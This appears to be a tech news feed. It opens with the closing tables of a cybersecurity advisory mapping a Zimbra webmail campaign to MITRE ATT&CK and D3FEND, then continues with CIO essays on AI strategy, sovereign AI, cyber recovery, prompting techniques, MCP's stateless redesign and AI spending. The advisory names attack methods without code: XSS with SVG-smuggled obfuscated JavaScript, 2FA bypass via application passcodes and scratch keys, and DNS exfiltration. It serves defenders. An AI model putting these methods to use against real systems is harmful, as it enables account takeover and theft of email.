Phishing	T1566	The actors used spear phishing to lure users into opening malicious email.

**Table 12: Execution**
Technique Title	ID	Use
Exploitation for Client Execution	T1203	An XSS vulnerability was leveraged to execute the JavaScript payload.

**Table 13: Persistence**
Technique Title	ID	Use
Account Manipulation	T1098	Enabling IMAP and Application Passcodes provides persistent access to the compromised account.
Modify Authentication Process: Multi-Factor Authentication	T1556.006	Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token.

**Table 14: Privilege Escalation**
Technique Title	ID	Use
Valid Accounts	T1078	This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.

**Table 15: Stealth**
Technique Title	ID	Use
Obfuscated Files or Information: Command Obfuscation	T1027.010	Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability.
Obfuscated Files or Information: Encrypted/Encoded File	T1027.013	The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload.
Obfuscated Files or Information: SVG Smuggling	T1027.017	The payload was contained in an “onload” attribute within an SVG image included in the malicious email.
Use Alternate Authentication Material: Web Session Cookie	T1550.004	Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate.

**Table 16: Credential Access**
Technique Title	ID	Use
Modify Authentication Process: Multi-Factor Authentication	T1556.006	Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token.
Adversary-in-the-Middle	T1557	Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies.

**Table 17: Collection**
Technique Title	ID	Use
Data Staged: Remote Data Staging	T1074.002	Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions.
Email Collection	T1114	This group has emphasized collection of emails.
Email Collection: Remote Email Collection	T1114.002	Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device.
Automated Collection	T1119	Upon execution, the JavaScript payload automatically collects all relevant information in stages.
Browser Session Hijacking	T1185	The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user.
Archive Collected Data	T1560	Emails are exfiltrated with GZIP compression.

**Table 18: Discovery**
Technique Title	ID	Use
Account Discovery	T1087	Stolen Global Access Lists provide the group with new users to target.

**Table 19: Exfiltration**
Technique Title	ID	Use
Exfiltration Over Alternative Protocol	T1048	Victim information was exfiltrated over both HTTPS and DNS.
Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	T1048.002	Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS.
Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol	T1048.003	Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding.

Appendix B: MITRE D3FEND countermeasures

See Table 20 for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.

**Table 20: MITRE D3FEND Countermeasures**
Countermeasure Title	ID	Description
Application Hardening	D3-AH	Organizations should immediately prioritize patching CVE-2025-66376. Organizations should promptly apply software updates to all email systems.
Isolate	d3f:Isolate	Organizations that cannot feasibly patch should use alternative mail clients.
Credential Hardening	D3-CH	Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys.
Network Traffic Analysis	D3-NTA	Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization.
DNS Traffic Analysis	D3-DNSTA	Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains.
Network Traffic Community Deviation	D3-NTCD	Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. Organizations should monitor for connections to internal services, such as webmail, from VPN providers.
Identifier Activity Analysis	D3-IAA	Organizations should search for the listed known IOCs.
Process Analysis	D3-PA	Organizations should search ZCS log files for specific commands used by the malicious script. Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes.
Message Analysis	D3-MA	Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.

AI, Mind Reading and Microchip Brain Implants

Sat, 25 Jul 2026 18:57:46 +0200

How neurotech advancements and new state laws are shaping the future of human-machine interfaces.

AI success requires a full-stack CIO

Sat, 25 Jul 2026 18:57:42 +0200

Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?

It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.

After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.

Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.

I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, influence a board, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.

Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.

While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.

That versatility gives Talasaz a unique lens on how CIOs can deliver value with AI.

Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.

The full-stack CIO: Leading with clarity

A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.

The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.

And those who execute best lead with clarity, Talasaz says.

“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”

One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.

As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.

And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.

“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”

At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.

Reducing organizational friction

Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”

Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?

Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.

AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.

Operating model as strategy enabler

AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.

Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.

“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.

The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.

This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.

Talasaz points out that technology leaders tend to speak in terms of transformation. He suggests CIOs consider a different word: reinvention.

As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.

Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.

Closing the gap between strategy and execution

Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”

As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”

Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.

Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.

The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.

This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.

Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to reach out to me directly.

Sovereign AI has become the public-sector CIO’s control problem

Sat, 25 Jul 2026 18:57:42 +0200

In public-sector and regulated-cloud work, I learned that sovereignty rarely starts as a national strategy. It starts as an auditor’s question: Who can prove where the data went, which system made the decision and what changes when the vendor or infrastructure does? That question is now moving into AI, and most sovereign-AI debates answer the wrong version of it.

They ask whether a country can build its own model on domestic data and hardware. For the United States and China, which together hold more than 90% of global AI data-center capacity, per a January 2026 Tony Blair Institute analysis, that question is worth asking. However, for almost every other government, it is the wrong place to start. The operative question is narrower: Once AI is embedded in public services, who controls the stack?

The 5 layers of public-sector control

For a CIO, sovereign AI means enforceable control across the AI lifecycle; model ownership is a separate question. Control has five layers:

Data control: Where sensitive public data sits, and whether it can train a vendor’s model.
Model control: Which models clear which workloads, and under what validation.
Infrastructure control: Whether critical workloads run in approved environments.
Operational control: Whether AI-assisted actions are logged, monitored and reversible.
Vendor control: Whether the agency keeps portability, audit rights and a real exit.

Those five layers are the control plane for public-service AI. Floyd Dcosta recently made the enterprise case in “AI without sovereignty is just outsourced intelligence”: capability is what a tool can do; authority over how and when it does it is something a buyer can quietly lose. For public services, losing that authority plays out in the public eye.

Public-sector AI risk differs from enterprise risk. A retailer’s bad recommendation costs a sale; a government’s AI touches benefits, tax enforcement, policing and emergency response, raising the bar to due process, records retention and continuity of operations. A government that cannot reconstruct an AI-assisted decision lacks operational sovereignty, even in a domestic data center.

Evaluating risk: Concentration, jurisdiction and shadow AI

Foreign dependency is a real risk, but the exposure that matters is a sudden cutoff: A model you cannot audit, switch or exit, shut off by someone else’s order. A vendor’s nationality is a poor guide to that risk; control is. Two markers matter. The first is concentration. In July 2024, a single faulty CrowdStrike update crashed about 8.5 million Windows machines, disrupting airlines, hospitals, banks and governments worldwide. No attacker was involved; one homogeneous dependency failed everywhere at once. The lesson points away from vendor nationality and toward uniformity as the fault line, making portability and provider diversity resilience controls.

The second is jurisdiction. In June 2025, Microsoft’s legal director for France told a Senate inquiry, under oath, that it could not guarantee that French public-sector data, even in French data centers, would be protected against US demands under the 2018 CLOUD Act. No such request had been made, and EU data has stayed in the EU since January 2025; senators called the assurance purely declarative. For the most sensitive data, residency does not equal control; the parent’s jurisdiction can matter as much as the server’s. Three US hyperscalers hold about 70% of the European cloud market, while European providers’ share fell from 29% in 2017 to roughly 15%. Concentration plus jurisdiction is the exposure a CIO must price. I have watched teams treat vendor selection as the moment risk was solved; it rarely was.

The wrong response is self-isolation. Most countries will never build frontier models, advanced chips, hyperscale clouds and talent pipelines at once; the Tony Blair Institute calls full self-sufficiency “too expensive, too slow and, for most countries, simply impossible.” The better test is workload sensitivity. Low-risk uses, such as drafting, translation and summarization, can run on commercial platforms with controls; high-risk uses, such as benefits eligibility, fraud investigation and healthcare triage, demand stricter control over data, model behavior and auditability.

Mandating domestic-only provision before a competitive option exists inverts sovereignty. Europe 2031, a five-year scenario from June 2026 by European technologists and policy researchers, illustrates the failure mode: A 2027 “buy European” mandate lands as offensive cyber capability spreads, and agencies that switched to weaker providers are locked out and paying ransoms. The scenario is fiction; the mechanism is not. Leverage comes from being indispensable, not half-hearted self-sufficiency. The closer-to-home effect is shadow AI: Mandate an inferior sanctioned tool and staff bypass it, the way shadow IT grows up around tools people find too slow. A rule that pushes sensitive work into ungoverned shadow AI reduces control instead of adding it.

Regulation and data-residency rules belong in any serious strategy, but carry failure modes. Blanket localization raises hosting costs and slows adoption without guaranteeing control, and a “sovereign cloud” on a foreign parent’s stack can amount to sovereignty theater. The more useful pattern tiers requirements by sensitivity. India’s BHASHINI shows the application layer done well: A public platform serving 100 million-plus inferences a month across 22-plus languages on a vendor- and cloud-agnostic design that keeps data and switching rights public. Sovereignty resides in the portability, not in a national model.

Building an operational sovereignty strategy

Public trust is the constraint sovereignty rhetoric tends to skip. The OECD’s 2025 review of government AI warns that opaque systems make AI-assisted decisions hard to explain and can give public servants false confidence in tools that fail quietly. State-controlled AI is the same problem from the other side: A government that deploys models against its own citizens without audit or record has gained control and lost accountability. An agency that can log, explain and reverse an AI-assisted action can defend it to citizens, courts, auditors and elected officials. If it cannot, it has bought access and called it sovereignty.

None of this is new. AI sovereignty repeats earlier fights over cloud, telecom, semiconductors and cybersecurity. Europe’s flagship cloud project, GAIA-X, became a cautionary tale; the Dutch technologist Bert Hubert called it an “expensive distraction” that produced no European cloud, the familiar result of ambition without absorptive capacity. Cloud taught governments that outsourcing infrastructure does not outsource accountability; telecom, that vendor dependency becomes strategic exposure; chips, that supply chains matter before a crisis; cybersecurity, that trust must be verified continuously. AI inherits all four at once.

Over the next five to ten years, some countries will build national platforms, more will build trusted cloud and trusted model regimes, and most will run hybrids that pair domestic data control with global model access. Trade policy will harden those choices: Export controls on compute and data-localization rules will pull the vendor market into blocs that track alliances more than open markets. For a CIO, that turns a vendor and hosting decision into a five-year bet on whose rules and supply chains will still hold. The ones that succeed will treat sovereignty as an operating requirement, backed by leverage, not a slogan. Start with the control plane before the model: Most agencies will never own the model, and the controls are what decide whether the AI they do run stays accountable. Even when procurement policy is dictated from above, these questions remain within the CIO’s authority:

Can we classify AI workloads by public-service risk?
Can we prove where sensitive data goes across training, retrieval, inference, logging and retention?
Can we restrict which models are approved for which data classes and functions?
Can we reconstruct an AI-assisted action in enough detail to explain it?
Can we change providers without losing continuity or institutional knowledge?
Can we explain the system to citizens, regulators, auditors and elected officials?

A “no” to any of these does not mean the agency lacks AI. It means the agency has access it does not yet control. Public institutions can use global innovation without surrendering public authority, but only once they know what to hold, what to rent and where dependency turns into risk.

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Principles every enterprise must test before the attack arrives

Sat, 25 Jul 2026 18:55:54 +0200

I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.

Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”

This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.

As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:

Recovery is not just a technical exercise

The first assumption to break during a real crisis is the belief that recovery is purely technical.

Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can point to backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.

The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.

Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A recent survey found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.

True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.

Most business continuity plans ignore ‘total blackout’

I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.

Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.

This is also where boards need to change the conversation. A study found that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.

That is the level of clarity leaders need.

The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.

The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.

If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.

Threat intelligence must be actionable, not archived

Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.

If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested before the attack.

Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.

Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.

Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.

Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations now. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.

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Stop asking AI nicely: Here’s how to get work-ready results every time

Sat, 25 Jul 2026 18:55:51 +0200

Over the past few years, I have learned that basic prompts produce inconsistent, hallucination-prone results that no executive would trust in production. What turned the tide was my move to advanced prompting techniques. These weren’t theoretical experiments; they became a practical foundation for reliable, measurable outcomes. I want to share the techniques that consistently delivered the biggest gains in my projects, complete with real before-and-after examples, copy-paste templates, lessons from failures and guidance on when to evolve beyond prompting to agentic systems.

Why advanced prompting still matters in enterprise settings

Sophisticated prompting remains essential for control, reliability and compliance. If you “ask nicely” and hope for the best, you need deterministic behavior, auditable reasoning and minimal risk of hallucination. Here’s what worked for me.

1. Chain-of-Thought (CoT) and its variants: Unlocking step-by-step reasoning

The problem: Models would jump to conclusions on complex analysis tasks, especially involving data interpretation or multi-step logic.

What I did: I started explicitly instructing the model to “think step by step” and show its reasoning.

Before (basic prompt): “Analyze last quarter’s sales data and recommend three actions.”

After (CoT prompt):

“You’re a senior business analyst. Analyze the following sales data step by step: [data]. First, identify the key trends. Second, calculate the rates and anomalies. Third, link findings to business context. Finally, recommend the three prioritized actions with expected impact. Explain your reasoning at each step.”

Results: Accuracy and depth improved dramatically.

Variants that worked well: Self-consistency. I ran the same CoT prompt multiple times and took the majority consensus. This reduced variability significantly.

Template you can use:

You are [expert role]. Solve this problem by thinking step by step.

[Task or question]

For each step:

1. State your observation or calculation.

2. Explain the implication.

3. Proceed only when confident.

Final answer in this format: [structured output]

2. Tree-of-Thoughts (ToT): Exploring multiple reasoning paths

For truly complex decisions such as resource allocation or risk assessment, linear CoT isn’t enough. Tree-of-Thoughts lets the model generate and evaluate multiple branches.

Example: I was helping a client evaluate three potential vendor platforms for an AI deployment. A standard prompt gave a superficial comparison. With ToT

Prompt Snippet:

Explore three different reasoning paths for selecting the best vendor platform:

Path 1: Focus on cost and scalability.

Path 2: Focus on security, compliance and integration.

Path 3: Focus on innovation and long-term roadmap.

For each path, evaluate pros/cons against our requirements [list].

Then, compare the paths and recommend the strongest overall option with justification.

Outcome: The model surfaced nuanced trade-offs (e.g., one vendor had superior security, but higher integration cost).

When to use: Strategic planning, troubleshooting or scenarios with high uncertainty and multiple viable approaches.

3. ReAct (Reason+ Act) and prompt chaining: Moving toward agentic behavior

One of the biggest leaps I have noticed comes from combining reasoning with tool use and chaining prompts.

ReAct example: (used in data analytics workflow)

You are an AI analyst with access to tools. For the query below:

1. Reason about what information you need.

2. Choose the appropriate tool or action.

3. Observe the result.

4. Repeat until you can answer confidently.

Query: [user request]

In practice, I chained this with retrieval tools. One automated quarterly compliance reporting; the system reasoned about required data, pulled relevant records, validated them, and generated the reports.

4. Meta-prompting and self-reflection: Letting the model improve itself

Use the model to refine its own prompt. This is a huge time-saver.

You are an expert prompt engineer. Improve the following prompt for clarity, structure and effectiveness with [target model]. Make it more precise while preserving intent.

Original prompt: [paste]

Provide the improved version and explain your changes.

Self-reflection loops (asking the model to critique its own output and revise) are a game-changer for content generation and code-review tasks.

5. Multimodal and structured output techniques

With vision-enabled models, I started combining text with images (e.g., uploading architecture diagrams or dashboards).

Tip from experience: Be extremely specific in describing what the models should focus on.

Best practices I learned the hard way

Start simple, then layer complexity: Over-engineered prompts from Day One usually backfire.
Model specific tuning: Some models respond better to XML delimiters; others to explicit reasoning.
Evaluation and versioning: Treat prompts like code if you track versions and run automated evals.
Security guardrails: Always include instructions against prompt injections and respect data boundaries.
When to stop prompting: For repetitive, high-stakes workflows, move to full agents or an orchestration framework.

Final takeaways for technical leaders

Advanced prompt engineering has now become a core competency for anyone responsible for enterprise AI outcomes. Start by picking one technique and apply it rigorously to a real business problem. Document before/ after and you will notice why it’s worth mastering.

The field continues evolving towards more automated and agentic systems, but the ability to precisely direct AI reasoning remains foundational.

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Model Context Protocol is going stateless to make scaling simpler

Sat, 25 Jul 2026 18:55:48 +0200

Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.

The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.

“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said Muskan Bandta, cloud associate at ZopDev.

“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.

Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.

“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.

This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to Amit Jena, AI development manager at IT consulting firm Kanerika.

Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.

It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.

MCP’s new features

Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.

Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.

Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.

They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.

MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.

Rebuilding the trust boundary

The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.

The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.

“Sampling let MCP servers invoke the LLM through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”

The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”

Updated MCP SDKs

To accompany the protocol update, there are updated MCP SDKs for Python, Typescript, Go, and C#. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.

That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.

Identifying and auditing those session dependencies may not be easy, Jena warned.

“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.

This article first appeared on InfoWorld.

Getting a grip on shadow tokens and AI blowouts

Sat, 25 Jul 2026 18:55:48 +0200

Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowballs into an AI blowout.

This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why Microsoft is reportedly winding down many internal licenses across key engineering teams and why one in five organizations is missing its AI spend forecast by more than 50%.

And the trend is only accelerating. By 2028, Gartner predicts that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.

LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.

Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.

When shadow tokens result in real costs

The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.

